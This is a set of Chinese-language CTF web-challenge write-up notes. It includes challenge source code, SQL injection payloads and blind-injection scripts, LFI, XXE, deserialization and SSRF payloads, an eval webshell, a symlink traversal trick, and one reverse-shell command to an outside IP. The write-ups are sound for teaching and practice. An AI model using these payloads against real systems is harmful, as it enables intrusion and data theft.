 if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
  die('no flag flag flag flag !');
 }

 if (stripos($_SERVER['QUERY_STRING'], 'uploaded') > 0) {
  die('no uploaded uploaded uploaded uploaded !');
 }

 if (stripos($_SERVER['QUERY_STRING'], '://f') > 0) {
  die('no ://f ://f ://f');
 }

 if (stripos($_SERVER['QUERY_STRING'], 'ata') > 0) {
  die('no ata ata ata');
 }

 if (stripos($_SERVER['QUERY_STRING'], '0') > 0) {
  die('no 0 0 0');
 }

 if (file_exists("./includes/$page.php")) {
  include "./includes/$page.php";
 } elseif (file_exists("./includes/$page")) {
  include "./includes/$page";
 } else {
  echo "File is not exit ";
 }
}


function download($adfile, $file) {
 //Only Administrators can download files .
 $cert = 'N';
 if (isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {
  echo "Welcome ! You Are Administrator !";
  $cert = 'Y';
 } else {
  echo "error1";
 }
 if ($cert === 'Y') {
  if (stripos($file, 'file_list') != false) {
   die('error4');
  }
  if (stripos($file, 'file_list') >= 0) {
   header('Content-Deion: File Transfer');
   header('Content-Type: application/octet-stream');
   header('Content-Disposition: attachment; filename='. basename($file));
   header('Content-Transfer-Encoding: binary');
   header('Expires: 0');
   header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
   header('Pragma: public');
   header('Content-Length: ' . filesize($file));
   readfile($file);
  } else {
   die('error2');
  }
 } else {
  echo 'error3';
 }
}

if (!isset($_GET['page'])) {
 $page = 'index';
} else {
 $page = $_GET['page'];
}
if (stripos($page, './') > 0) {
 die('no ./ ./ ./ ./');
}
if (stripos($page, '://') > 0) {
 die('no :// :// ://');
}
autoload($page);

if (isset($_GET[admin]) && isset($_GET[file])) {
 if (stripos($_GET[admin], 'flag') > 0 || stripos($_GET[file], 'flag') > 0) {
  die('not flag flag flag falg !');
 }

 if (strlen($_GET[file]) >= 38) {
  die('too long');
 }

 download($_GET[admin], $_GET[file]);
}

?admin=php://input&file=includes/upload.php
随便咋样都能过，所以上面的 stripos($file, 'file_list') 意义何在，读到之前读不了的源码

upload.php
<?php
if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
 die('no flag flag flag flag !');
}

if (!empty($_FILES)) {
//properties of the uploaded file
 $name= $_FILES["filename"]["name"];
 $type= $_FILES["filename"]["type"];
 $type= $_FILES["filename"]["type"];
 $size= $_FILES["filename"]["size"];
 $temp= $_FILES["filename"]["tmp_name"];
 $error= $_FILES["filename"]["error"];

 if (strlen($name) >= 6) {
  die('name is too long !');
 }

 if (stripos($name, './') > 0) {
  die('invalid parameter');
 }

 // 直接传一个 php 开头的文件
 if (stripos($name, 'php') > 0) {
  die('invalid parameter');
 }

 // 尝试一下 %00 截断，php.php%00.jpg，失败，长度超过了
 if (substr($name, -3, 3) !== 'zip' && substr($name, -3, 3) !== 'jpg' && substr($name, -3, 3) !== 'png') {
  die('file can not upload ! ');
 }

 if ($error > 0) {
  die("Error uploading file! code $error.");
 } else {
  if ($type !== "application/zip" || $size > 400) {//condition for the file
   die("Format not allowed or file size too big!");
  } else {
   if (file_exists('includes')) {
    move_uploaded_file($temp, "includes/uploaded/" .$name);
    echo "Upload complete a!";
    shell_exec('sh /var/www/html/includes/unzip.sh');
   } elseif (file_exists('uploaded')) {
    move_uploaded_file($temp, "uploaded/" .$name);
    echo "Upload complete!";
    shell_exec('sh /var/www/html/includes/unzip.sh');
   }
  }
 }
} else {
 if (isset($_GET['step']) && strlen($_GET['step']) === 20) {
  if (stripos($_GET['step'], 'lag') > 0) {
   die('error');
  }

  if (stripos($_GET['step'], './') > 0) {
   die('error');
  }

  if (stripos($_GET['step'], ' ') > 0) {
   die('error');
  }

  if (stripos($_GET['step'], '/') > 0) {
   die('error');
  }
  if (preg_match('/[^\w\d_ -]/si', $_GET['step'])) {
   $_GET['step'] = preg_replace('/[^a-zA-Z0-9_ -]/s', '', $_GET['step']);
   die('error');
  }
  passthru('cat ' . 'uploaded/' . $_GET['step']);
  // 或许可以命令注入
 } else {
  die();
 }
}

// includes/unzip.sh
#/bin/bash
unzip -o ./uploaded/*.zip -d ./uploaded/
rm -rf ./uploaded/*.zip
rm -rf ./uploaded/*.*
rm -rf ./uploaded/*.*
touch /var/www/html/includes/uploaded/index.php
chmod 000 /var/www/html/includes/uploaded/index.php

*/
总结，这题其实满满的坑点，没太多意思，但我莫名其妙的坚持下来了，各种尝试，然而环境不给力，依然无法找到 flag
这里学到一个新思路，利用软连接，即 Linux 上的快捷方式，实现目录穿越，骚的一b
按理说，autoload() 里的这个 include "./includes/$page"; 是可以作为文件包含，结合之前的 unzip.sh 内容，只是删除了带 . 的文件
这个思路还是可行的，随便传一个 xxx，然后包含一下就好了，可以直接 system('cat flag')，或者上菜刀
我这里还看错了一个地方，[^\w\d_ -] 是非 \w\d，所以数字什么都是可以的，
总而言之，这玩意还是去 regex101 调试一下比较稳妥
不折腾了，有学到东西就好，flag 不重要

再记录下软连接的具体操作，使用前提：目录结构很清晰
index.php
includes/uploaded/
flag/flag/flag/flag/flag/flag/flag.php

在 includes/uploaded/ 下
ln -s ../../flag/flag/flag/flag/flag/flag/flag.php 12345678901234567890
打成压缩包
zip -y 1.zip 12345678901234567890
然后利用 passthru('cat ' . 'uploaded/' . $_GET['step']);
?step=12345678901234567890 就可以实现文件读取了
话说回来，此题还是有点为了出题而出题的感觉，很多过滤并没实际意义
```

XCTF 4th-CyberEarth ics-04

```
题目描述：工控云管理系统新添加的登录和注册页面存在漏洞，请找出flag。
生活总是充满惊喜与惊吓，sql注入，没有任何过滤，sqlmap一把梭
md5破解失败，也不能就此放弃啊，猜想sql语句，构造一下，直接登录应该也行
可是，这直接就有逻辑漏洞，可以覆盖别人注册过的用户名。over
```

XCTF 4th-CyberEarth ics-07

```
工控云管理系统项目管理页面解析漏洞 phps 应该可以
<?php
session_start();

if (!isset($_GET[page])) {
 show_source(__FILE__);
 die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
 include('flag.php');
}else {
 header('Location: ?page=flag.php');
}


// 要有 admin 权限才能写
if ($_SESSION['admin']) {
 $con = $_POST['con'];
 $file = $_POST['file'];
 $filename = "backup/".$file;

 if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
  die("Bad file extension");
 } else {
  chdir('uploaded');
  $f = fopen($filename, 'w');
  // 写 shell phps 无法解析
  // con=<?php @eval($_POST[1]);?\>&file=../1.php/.
  // xctf{b7aedc3107440ed1910514cbaffd9037}
  fwrite($f, $con);
  fclose($f);
 }
}

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
 include 'config.php';
 // 宽字节注入 2%EF%BF%BD%23or1--+9 居然不行？ 理解有误，有待加强
 // 然而 id=1 9 就可以了，本意可能不是注入
 $id = mysql_real_escape_string($_GET[id]);
 $sql="select * from cetc007.user where id='$id'";
 $result = mysql_query($sql);
 $result = mysql_fetch_object($result);
 } else {
  $result = False;
  die();
 }

 if(!$result) die("<br >something wae wrong ! <br>");
 if($result) {
  echo "id: ".$result->id."</br>";
  echo "name:".$result->user."</br>";
  $_SESSION['admin'] = True;
 }
 ?>
```

XCTF 4th-CyberEarth ics-05

```
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
得到源码：
<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

 echo "<br >Welcome My Admin ! <br >";

 $pattern = $_GET[pat];
 $replacement = $_GET[rep];
 $subject = $_GET[sub];

 if (isset($pattern) && isset($replacement) && isset($subject)) {
  preg_replace($pattern, $replacement, $subject);
 }else{
  die();
 }
}
?>
X-FORWARDED-FOR = 127.0.0.1
一句话 @preg_replace("/abcde/e", $_POST['a'], "abcdefg");
preg_replace() /e 可以 RCE 参考 https://www.cnblogs.com/dhsx/p/4991983.html
有版本限制：This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.
成功执行：pat=/test/e&rep=phpinfo()&sub=jutst%20test
show_source('/var/www/html/s3chahahaDir/flag/flag.php')
若显示服务器无法处理，进行url编码，以避免误解
```

csaw-ctf-2016-quals i-got-id-200

```
> 嗯。。我刚建好了一个网站
有三个界面，Hello World / Forms / Files
Forms 页面会把你的输入显示的页面上，有 self xss，没啥用
Files 页面有上传的功能，并没有显示上传的目录，并且将上传的内容直接输出到屏幕上
用的是 perl CGI，尝试寻找 RCE，我还没用过 perl，找文档开始学习，打 CTF 就是不断学习新知识的过程
简单扫了一圈，没发现有源码泄露，CGi 之前爆过 Shellshocke 漏洞，没找到合适的资料
随即开始猜测后端的写法，咱们找一找文件操作相关的函数，
参考 https://www.cgisecurity.com/lib/sips.html https://qntm.org/files/perl/perl_cn.html
重点看这个 https://gist.github.com/kentfredric/8f6ed343f4a16a34b08a 漏洞成因及payload
原作者是如何找到这篇文章的？经验？ wp https://github.com/73696e65/ctf-notes/blob/master/2016-ctf.csaw.io/web-200-i_got_id.md
还是没完全搞懂
bash%20-i%20>%26%20%2fdev%2ftcp%2f47.101.220.241%2f8008%2f0>%261%20| 弹shell失败。。
题目环境 https://github.com/ctfs/write-ups-2016/tree/master/csaw-ctf-2016-quals/web/i-got-id-200
```

CISCN-2018-Final 4jia1

```
swjWJVRtazwtcARioEhUOpyzgKOrICunmNRlngieqrFuGNgOVGPKoaxIDcmFQaYtnITdSKufADqWFkpJmqpWTxUBQEOfJJsjefZf
```

bugku insert into 注入题（XFF注入）

```
关键代码
<? php
function getIp() {
 $ip = '';
 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
 } else {
  $ip = $_SERVER['REMOTE_ADDR'];
 }
 $ip_arr = explode(',', $ip);
 return $ip_arr[0];
}

$ip = getIp();
echo 'your ip is :'.$ip;
$sql = "insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

明显没有报错信息，没有回显，只能盲注
还有一点，不能用逗号
先手注得出数据库名和字段名，优先跑flag中的flag，再写脚本跑

import requests
import sys
# 基于时间的盲注，过滤了逗号，使用 from x for 1 代替 x, 1
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = "http://123.206.87.240:8002/web15/"
flag = ''
for i in range(1, 40):
 print('正在猜测：', str(i))
 for ch in range(32, 129):
  if ch == 128:
   sys.exit(0)
  sqli = sql.format(i, chr(ch))
  # print(sqli)
  header = {
   'X-Forwarded-For': sqli
  }
  try:
   html = requests.get(url, headers=header, timeout=3)
  except:
   flag += chr(ch)
   print(flag)
   break

# 打算改成二分，结果失败了，以后补
import requests
url = "http://123.206.87.240:8002/web15/"
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)>'{1}' then sleep(3) else 0 end))-- +"
flag = ''
for i in range(1, 40):
 print('正在猜测：', str(i))
 left = 31
 right = 129
 while left < right:
  mid = (left+right)//2
  temp = right
  sqli = sql.format(i, chr(mid))
  header = {
   'X-Forwarded-For': sqli
  }
  try:
   html = requests.get(url, headers=header, timeout=2)
   right = mid - 1
  except:
   left = mid
   right = temp
 flag += chr(left)
 print(flag)
```

bugku 多次

```
and 被替换，anandd 绕过
数据库名长度为 9，名称 WEB1002-1
|| length("and")=3  以此检测 and 是否被过滤
或者 id = 1 ^ (length("and")=3)
http://123.206.87.240:9004/1ndex.php
order 被过滤，尝试 ordorderer，不行，因为 or 被过滤，还得双写 or，oorrder就可以了
order by 2 正常，得出只查询两个字段
ununionion seleselectct 1, 2%23 得到回显 2
剩下就是常规套路，这里其实可以写 tamper 然后用 sqlmap 跑一下
也可以盲注跑出数据库名，或者直接从 information_schema 得到数据
?id=-1' ununionion seleselectct 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23
注意 or 被过滤 得到 flag1，hint
先查看 flag1 的内容
?id=-1' ununionion seleselectct 1,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x666c616731%23
得到 flag1、address
?id=-1' ununionion seleselectct 1,flag1 from flag1%23
得到 usOwycTju+FTUUzXosjr
?id=-1' ununionion seleselectct 1,address from flag1%23
得到下一关地址
进入下一关后，有明显的报错信息，尝试报错注入
?id=0' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)));%23
得到 XPATH syntax error: '~class,flag2~'
?id=0' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)));%23
得到了一个假flag：flag{Bugku-sql_6s-2i-4t-bug}
把 B 换成 b 就行了 ^==^
```

bugku sql注入2

```
御剑和脚本啥都没扫出来
nikto -host http://123.206.87.240:8007/web2/
OSVDB-6694: /web2/.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
.DS_Store file // 再用脚本跑出目录
```

Hack.lu-2017 Triangle

```
结合 js 的逆向题
wp:https://st98.github.io/diary/posts/2017-10-25-hacklu-ctf-2017.html
```

fireshell 2019 Vice

```
<?php
//require_once 'config.php';

class SHITS{
 private $url;
 private $method;
 private $addr;
 private $host;
 private $name;
 private $name;

 function __construct($method,$url){
  $this->method = $method;
  $this->url = $url;
 }

 function doit(){

  $this->host = @parse_url($this->url)['host'];
  $this->addr = @gethostbyname($this->host);
  $this->name = @gethostbyaddr($this->host);
  if($this->addr !== "127.0.0.1" || $this->name === false){
  $not = ['.txt','.php','.xml','.html','.','[',']'];
  foreach($not as $ext){
   $p = strpos($this->url,$ext);
   if($p){
    die(":)");
   }
  }
  $ch = curl_init();
  curl_setopt($ch,CURLOPT_URL,$this->url);
  curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

  $result = curl_exec($ch);
  echo $result;
  }else{
  die(":)");
  }
 }
 function __destruct(){
  if(in_array($this->method,array("doit"))){

  call_user_func_array(array($this,$this->method),array());
  }else{
  die(":)");
  }
 }
}
if(isset($_GET["gg"])) {
 @unserialize($_GET["gg"]);
} else {
 highlight_file(__FILE__);
}

打开 config.php , awn...
猜想 config.php 有访问限制，构造 ssrf 访问，然而还是啥都没有

$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
 $p = strpos($this->url,$ext);
 if($p){
  die(":)");
 }
}

此处可构造
$gg = new SHITS('doit', '.php@68.183.31.62:991/config.php');
$gg = new SHITS('doit', '.php@localhost/config.php');
$gg = new SHITS('doit', 'localhost/config%2ephp');
```

```
参考：https://www.secpulse.com/archives/65832.html
$ser = serialize($gg);
echo urlencode($ser) ."<br>";
unserialize($ser);

O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A32%3A%22.php%4068.183.31.62%3A991%2Fconfig.php%
22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%0
0SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
先编码，序列化后直接反序列化，此过程由于特殊符号编码会引起混乱，出现 unserialize(): Error at offset 错误
也可以进行 base64 编码，但是需要改代码，这里利用 web 特性，url编码最方便

但是并没有什么卵用

还是得 file:///var/www/html/config%2ephp 二次编码绕过 .
读取 config.php O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A33%3A%22file%3A%2F%2F%2Fvar%2Fw
ww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00a
ddr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
其实可以这样，不需要所有属性，只要前两个 O%3A5%3A%22SHITS%22%3A2%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A33%3A%22fil
e%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3
if($_SERVER['REMOTE_ADDR'] !== '::1' || $_SERVER['REMOTE_ADDR'] !== '127.0.0.1'){
 echo "aaawn";
}else{
 $flag ="F#{wtf_5trp0s_}";
}
```

tinyCTF 2014: NaNNaNNaNNaN…, Batman!

```
<script>
_ = 'function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n
,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(
/"];/)!=null=[" write(s[o%4]buttonif(e.ment';
for(Y in $=' ')
 with(_.split($[Y]))
  _=join(pop());
eval(_)
</script>
将 eval 换成 console.log(_)
得到
function $() {
 var e = document.getElementById("c").value;
 if (e.length == 16)
  if (e.match(/^be0f23/) != null)
   if (e.match(/233ac/) != null)
    if (e.match(/e98aa$/) != null)
     if (e.match(/c7be9/) != null) {
      var t = ["fl", "s_a", "i", "e}"];
      var n = ["a", "_h0l", "n"];
      var r = ["g{", "e", "_0"];
      var i = ["it'", "_", "n"];
      var s = [t, n, r, i];
      for (var o = 0; o < 13; ++o) {
       document.write(s[o % 4][0]);
       s[o % 4].splice(0, 1)
      }
     }
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
直接执行中间那部分即可得到flag
```

安恒杯一月赛

```
simple php
1.SQL约束攻击
2.tp3.2 sql注入
https://www.anquanke.com/post/id/170341#h3-3
发现是搜索框，并且是tp3.2
不难想到注入漏洞，随手尝试报错id

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(id)--
发现库名tpctf，表名flag，根据经验猜测字段名是否为flag

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(flag)--
nice，发现flag字段也存在，省了不少事

下面是思考如何注入得到数据,随手测试

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if(1,sleep(3),0)--

发现成功sleep 3s,轻松写出exp

import requests
flag = ''
cookies = {
 'PHPSESSID': 're4g49sil8hfh4ovfrk7ln1o02'
}
for i in range(1,33):
 for j in '0123456789abcdef':
  url = 'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag from flag limit 0,1),'+str(i)+',1))='+str(ord(j))+'),sleep(3),0)--'
  try:
   r = requests.get(url=url,timeout=2.5,cookies=cookies)
  except:
   flag += j
   print flag
   break


tp 这几个漏洞还搞不清楚
https://xz.aliyun.com/t/2812#toc-11
https://www.anquanke.com/post/id/157817
https://www.secpulse.com/archives/29826.html
https://bbs.ichunqiu.com/thread-38901-1-1.html
先缓缓吧，phpstudy里已经搭好环境
```

jarvisoj inject

````
http://web.jarvisoj.com:32794/index.php~
得到源码
<?php
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
?>
?table=flag 正常响应 => 存在 secret_flag 表
注意到这个反引号 ``，其作用是区分 MySQL 保留字与普通字符
如 create table desc 肯定报错
而 create table `desc` 则能成功执行

本地尝试可得
desc `abc` `def`
desc abc def 效果是一样的
结合题目 => desc `secret_flag` `
（`此处如果是 desc `secret_flag`` 将被认为是执行 desc secret_flag`）
顺手执行
?table=flag`%20`%20union%20select%201
发现还是没有变化，依旧显示 flag{xxx}
不要灰心，这只显示了一条数据而已，加入 limit 试试
?table=flag`%20`%20union%20select%201%20limit%201,2
成功得到1
?table=flag`%20`%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20tabl
e_name=0x7365637265745f666c6167%20limit%201,1
(此处 table_name 的值要进行 hex 编码)
查找所有字段 => flagUwillNeverKnow
接着查询内容 ?table=flag`%20`%20union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1
得到flag
PS：也可以不用 limit，直接 where 0，使得前面的查询为空，则直接显示数据
如?table=flag`%20`%20where%200%20union%20select%20flagUwillNeverKnow%20from%20secret_flag
````

jarvisoj Easy Gallery / upload + lfi (local file inclusion)

````
"没有什么防护是一个漏洞解决不了的，如果有，那就....."
扫了一遍目录，没发现什么文件，尝试 filter 读源码，也失败了
主题界面是一个图片上传，再加一个展示界面
配置信息给的这么清晰，有点可疑，然而并没有找到什么有用的洞
Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3

Warning: fopen(submi.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on li
ne 24
按理说是可以文件包含，php://filter/read=convert.base64-encode/resource=index
然而显示 Cross domain forbidden!，估计是加了啥子 waf，此路不通
fopen() 时应该是拼接了一个 ".php"，这里可以用 %00 绕过
fopen(index.jj): failed to open stream 绕过成功

图片只能上传 jpg ，所以直接抓包在后面再个一句话，然后用 fopen() 去包含
但是，注意是但是，这里有个坑，不能用 <?php，有 waf，要用 <script language="php">eval($_POST[1])</script>
然后 page=uploads/1552805580.jpg%00 自动出 flag，都不需要菜刀
这题出的太过死板，<?=?> 是可以的，居然没任何回显，专考 <script language="php"> 标签了，没意义
有时间自己改一改出个题
````

jarvisoj api调用（xxe入门题）

```
请设法获得目标机器/home/ctf/flag.txt中的flag值。
参考 https://blog.spoock.com/2016/11/15/jarvisoj-web-writeup-1/

常规系统里对接收的请求都会做限制，比如POST之以content-type的application/x-www-form-urlencoded接收，但在一些框架系统里，框架会自动帮开发者识别传入的数据

POST 提交数据的四种常见方式
application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml

比如：默认为application/x-www-form-urlencoded接收的我只需修改为 application/json
即可传入JSON格式的数据，XML同理

这将导致原本不存在xml解析的地方可能存在XXE漏洞


function XHR() {
    var xhr;
    try {xhr = new XMLHttpRequest();}
    catch(e) {
        var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
        for (var i=0,len=IEXHRVers.length;i< len;i++) {
            try {xhr = new ActiveXObject(IEXHRVers[i]);}
            catch(e) {continue;}
        }
    }
    return xhr;
}

function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
    xhr.open("post","/api/v1.0/try",true);
    xhr.onreadystatechange = function () {
        if (xhr.readyState==4 && xhr.status==201) {
            data = JSON.parse(xhr.responseText);
            tip_area = document.getElementById("tip-area");
            tip_area.value = data.task.search+data.task.value;
        }
    };
    xhr.setRequestHeader("Content-Type","application/json");
    xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

payload:
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data[
<!ENTITY file SYSTEM "file:home/ctf/flag.txt">
]>
<data>&file;</data>
```

jarvisoj 神盾局的秘密

/showimg.php?img=c2hvd2ltZy5waHA= 读取 showing.php 源码

<?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
同理可得 index.php

<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>
shield.php

<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
payload:
/index.php?class=O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}

jarvisoj port51

```
□  ~ sudo curl --local-port 51 http://web.jarvisoj.com:32770/
<!DOCTYPE html>
<html>
<head>
<title>Web 100</title>
<style type="text/css">
 body {
  background:gray;
  text-align:center;
 }
</style>
</head>

<body>
 <h3>Yeah!! Here your flag:PCTF{M45t3r_oF_CuRl}</h3>
</body>
</html>
```

jarvisoj login

header 头里面发现 hint: “select * from `admin` where password='”.md5($pass,true).”'"
md5 (string $str [, bool $raw_output = FALSE]) : string
string 要计算的字符串
raw 为 TRUE 时为 16 字符二进制格式，默认为 false 32 字符十六进制数
参考 https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html
http://www.am0s.com/functions/204.html
有个牛逼的字符串： ffifdyop
传入之后，最终的 sql 语句变为 select * from `admin` where password=''or'6□]□□!r,□□b'
成功闭合，得到万能密码

jarvisoj RE

```
咦，奇怪，说好的WEB题呢，怎么成逆向了？不过里面有个help_me函数挺有意思的哦
题目给了个 udf.so 的文件，IDA 启动，然而并没有发现啥东西（汇编还要加油
前几天刚看了MySQL提权就忘了，后来才知道 udf.so 也是拿来提权的，
http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/

将 udf.so 导入到MySQL的插件里面，注意改下权限
mysql> show variables like "%plugin%";
+-------------------------------+------------------------+
| Variable_name                 | Value                  |
+-------------------------------+------------------------+
| default_authentication_plugin | mysql_native_password  |
| plugin_dir                    | /usr/lib/mysql/plugin/ |
+-------------------------------+------------------------+
2 rows in set (0.00 sec)


mysql> create function help_me returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select help_me();
+---------------------------------------------+
| help_me()                                   |
+---------------------------------------------+
| use getflag function to obtain your flag!!  |
+---------------------------------------------+
1 row in set (0.00 sec)

mysql> create function getflag returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select getflag();
+------------------------------------------+
| getflag()                                |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function}  |
+------------------------------------------+
1 row in set (0.00 sec)
```

jarvisoj flag在管理员手里

```
然而又是 hash 扩展攻击，不做了
<?php
$auth = false;
$role = "guest";
$salt = '32342';
if (isset($_COOKIE["role"])) {
 $role = unserialize($_COOKIE["role"]);
 $hsh = $_COOKIE["hsh"];
 if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
  $auth = true;
 } else {
  $auth = false;
 }
} else {
 $s = serialize($role);
 setcookie('role',$s);
 $hsh = md5($salt.strrev($s));
 setcookie('hsh',$hsh);
}
if ($auth) {
 echo "<h3>Welcome Admin. Your flag is ";
} else {
 echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
```

jarvisoj IN A Mess

```
<?php
 error_reporting(0);
 echo "<!--index.phps-->";

 if(!$_GET['id']) {
  header('Location: index.php?id=1');
  exit();
 }
 $id=$_GET['id'];
 $a=$_GET['a'];
 $b=$_GET['b'];
 if(stripos($a,'.')) {
  echo 'Hahahahahaha';
  return ;
 }
 $data = @file_get_contents($a,'r');
 if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5
 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
  require("flag.txt");
 }
 else {
  print "work harder!harder!harder!";
 }
?>

payload1: index.php/?id=a&a=php://input&b=%0034253
post: 1112 is a nice lab!
eregi() 会被 %00 截断，但 strlen() 不会
==>  <!--index.phps--> Come ON!!! {/^HT2mCpcvOLf}

进入该目录，自动跳转到 web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1
```

```
发现空格被过滤，尝试绕过
- 使用注释绕过，/**/
- 使用括号绕过，括号可以用来包围子查询，任何计算结果的语句都可以使用（）包围，并且两端可以没有多余的空格
- 使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a
这里可以用 /*233*/ 代替空格

order by 没有回显，放弃该法
/?id=2/*233*/uunionnion/*233*/seselectlect/*233*/1,2,3%23
得到 3， 说明字段数也是 3

payload2:
获取所有数据库名
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(schema_name)/*233*/frfromom/*233*/information_schema.schemata%23
==> information_schema,test

获取本数据库内的所有表名
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(table_name)/*233*/frfromom/*233*/information_schema.tables/*233*/where/*233*/table_schema=database()%23
==> content
（以上两步可省略）

获取所有字段名
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(column_name)/*233*/frfromom/*233*/information_schema.columns/*233*/where/*233*/table_name=0x636f6e74656e74%23
==> id,context,title

获取所有数据
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(id,context,title)/*233*/frfromom/*233*/content%23
==> 1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666
```

jarvisoj web

```
是一个输入框，输入密码，显示密码错误
扫不到其他目录，看看源码，有个 app.js
搜索 Wrong Password!!
$.post("checkpass.json", t,
function(t) {
 self.checkpass(e) ? self.setState({
  errmsg: "Success!!",
  errcolor: b.green400
 }) : (self.setState({
  errmsg: "Wrong Password!!"
  ......
 }))
})

跟进去
function(e) {
 if (25 !== e.length) return ! 1;
 for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
